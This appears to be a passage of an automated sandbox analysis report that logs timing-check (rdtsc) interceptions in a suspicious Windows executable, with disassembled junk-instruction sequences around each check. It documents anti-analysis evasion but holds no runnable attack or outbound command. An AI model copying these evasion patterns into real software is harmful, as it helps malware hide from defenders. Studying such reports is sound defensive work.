Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 27F897 second address: 27F89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 27F89B second address: 27F89F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 27FCEB second address: 27FD0E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB180E78736h 0x00000008 jo 00007FB180E78736h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 ja 00007FB180E78747h 0x00000016 jmp 00007FB180E7873Bh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 27E67E second address: 27E688 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FB180E7C716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 285D69 second address: 285D82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB180E78742h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 285D82 second address: 285D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 285D86 second address: 285D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 285D8C second address: 285DA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FB180E7C716h 0x00000009 jmp 00007FB180E7C71Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 1F9AFE second address: 1F9B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 28C644 second address: 28C648 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 28C648 second address: 28C667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E78745h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 28C667 second address: 28C671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FB180E7C716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 28C671 second address: 28C675 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 28B8F5 second address: 28B910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB180E7C71Ch 0x0000000b popad 0x0000000c jne 00007FB180E7C71Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 28C350 second address: 28C36E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB180E78736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FB180E7873Eh 0x00000010 push edx 0x00000011 pop edx 0x00000012 jnp 00007FB180E78736h 0x00000018 pop ecx 0x00000019 push esi 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 28C36E second address: 28C372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 1F8027 second address: 1F802D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 28FACC second address: 28FAD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2928E9 second address: 2928F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2982A1 second address: 2982CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E7C725h 0x00000009 jmp 00007FB180E7C722h 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2982CF second address: 2982F1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB180E78738h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB180E78740h 0x00000011 jno 00007FB180E78736h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2976B2 second address: 2976E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C728h 0x00000007 jmp 00007FB180E7C723h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 297812 second address: 29783B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 jc 00007FB180E78736h 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FB180E78746h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 29783B second address: 297841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2979B0 second address: 2979C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB180E7873Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2979C7 second address: 2979CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 297B1B second address: 297B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FB180E7873Bh 0x0000000b jmp 00007FB180E78742h 0x00000010 popad 0x00000011 push edx 0x00000012 jmp 00007FB180E78746h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 29A786 second address: 29A7AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C71Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FB180E7C723h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 29A7AC second address: 29A7ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E7873Dh 0x00000009 jmp 00007FB180E7873Bh 0x0000000e popad 0x0000000f jmp 00007FB180E78749h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a pop edx 0x0000001b push ebx 0x0000001c push edi 0x0000001d pop edi 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 29AAD1 second address: 29AADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 29EDF0 second address: 29EDF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24CA60 second address: 24CA66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24CA66 second address: 24CA6B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24CA6B second address: 24CACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov ecx, dword ptr [ebp+122D38B0h] 0x0000000e mov ebx, dword ptr [ebp+12486BACh] 0x00000014 mov cx, si 0x00000017 add eax, ebx 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007FB180E7C718h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 0000001Bh 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 push eax 0x00000034 mov dword ptr [ebp+122D1B54h], eax 0x0000003a pop edi 0x0000003b add dl, 00000036h 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FB180E7C729h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24CACE second address: 24CB24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E78743h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov cx, dx 0x0000000f push 00000004h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007FB180E78738h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b or ch, 00000066h 0x0000002e push eax 0x0000002f pushad 0x00000030 jmp 00007FB180E78741h 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A0160 second address: 2A0165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A7053 second address: 2A7059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A7059 second address: 2A705D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A705D second address: 2A7061 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A7061 second address: 2A706F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FB180E7C71Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A5314 second address: 2A5318 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A5318 second address: 2A5322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A5322 second address: 2A5338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E78742h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A5CBE second address: 2A5CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB180E7C716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A5CC8 second address: 2A5CE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7873Ch 0x00000007 jp 00007FB180E78736h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A5CE2 second address: 2A5CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A5CE8 second address: 2A5CEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A62A4 second address: 2A62B0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB180E7C71Eh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A6538 second address: 2A653E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A653E second address: 2A6558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E7C725h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A685B second address: 2A686B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB180E78742h 0x00000008 ja 00007FB180E78736h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A6AE3 second address: 2A6B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E7C724h 0x00000009 jp 00007FB180E7C716h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A9577 second address: 2A957D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A957D second address: 2A9596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E7C724h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A9596 second address: 2A95A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7873Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A95A7 second address: 2A95E3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB180E7C716h 0x00000008 jmp 00007FB180E7C727h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebx 0x00000012 jnp 00007FB180E7C718h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FB180E7C71Eh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2A95E3 second address: 2A95E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2AC400 second address: 2AC416 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C71Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2AC416 second address: 2AC41C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2AC41C second address: 2AC43A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C728h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2AC6E5 second address: 2AC6EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2AC816 second address: 2AC81C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2AC81C second address: 2AC846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jo 00007FB180E78747h 0x0000000d ja 00007FB180E78736h 0x00000013 jmp 00007FB180E7873Bh 0x00000018 pop ecx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e jnp 00007FB180E78736h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2AC846 second address: 2AC86E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jng 00007FB180E7C716h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnl 00007FB180E7C716h 0x00000013 jnc 00007FB180E7C716h 0x00000019 jmp 00007FB180E7C71Dh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2AC86E second address: 2AC87D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007FB180E78736h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2ACA0B second address: 2ACA1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E7C71Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2ACA1B second address: 2ACA49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E78746h 0x00000007 jmp 00007FB180E78744h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2ACA49 second address: 2ACA5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C71Fh 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2B80F0 second address: 2B80F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2B80F5 second address: 2B8104 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB180E7C71Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2B8104 second address: 2B812B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnc 00007FB180E7874Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2B812B second address: 2B812F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2B8288 second address: 2B828C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2B828C second address: 2B8292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2B8292 second address: 2B82A1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB180E7873Ah 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2B82A1 second address: 2B82A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2B8581 second address: 2B8594 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7873Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2B8594 second address: 2B85AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jl 00007FB180E7C716h 0x0000000f jng 00007FB180E7C716h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2B85AA second address: 2B85B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FB180E78736h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2B85B6 second address: 2B85D9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB180E7C716h 0x00000008 jo 00007FB180E7C716h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB180E7C721h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2B85D9 second address: 2B85F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB180E7873Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2B88AB second address: 2B88BA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB180E7C716h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2B8BA2 second address: 2B8BBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FB180E7873Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2B9DB5 second address: 2B9DBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2C08F1 second address: 2C08F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2C08F7 second address: 2C08FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2C08FB second address: 2C0916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007FB180E78740h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2C0A52 second address: 2C0A56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2CF0B9 second address: 2CF0C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB180E78736h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2CF0C5 second address: 2CF0CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2D4B02 second address: 2D4B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E78744h 0x00000009 pop edi 0x0000000a pop esi 0x0000000b pushad 0x0000000c jmp 00007FB180E78744h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
